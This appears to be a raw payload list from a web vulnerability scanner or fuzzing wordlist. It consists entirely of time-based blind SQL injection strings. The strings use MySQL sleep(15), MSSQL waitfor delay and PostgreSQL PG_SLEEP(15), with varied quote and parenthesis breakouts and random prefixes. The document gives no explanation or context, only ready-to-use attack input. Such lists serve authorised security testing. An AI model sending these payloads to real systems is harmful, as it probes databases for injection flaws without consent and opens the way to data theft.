(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

NLDPW44q'; waitfor delay '0:0:15' --

1bAGgmL9'); waitfor delay '0:0:15' --

mrv3C0nZ')); waitfor delay '0:0:15' --

-1 OR 968=(SELECT 968 FROM PG_SLEEP(15))--

-1) OR 244=(SELECT 244 FROM PG_SLEEP(15))--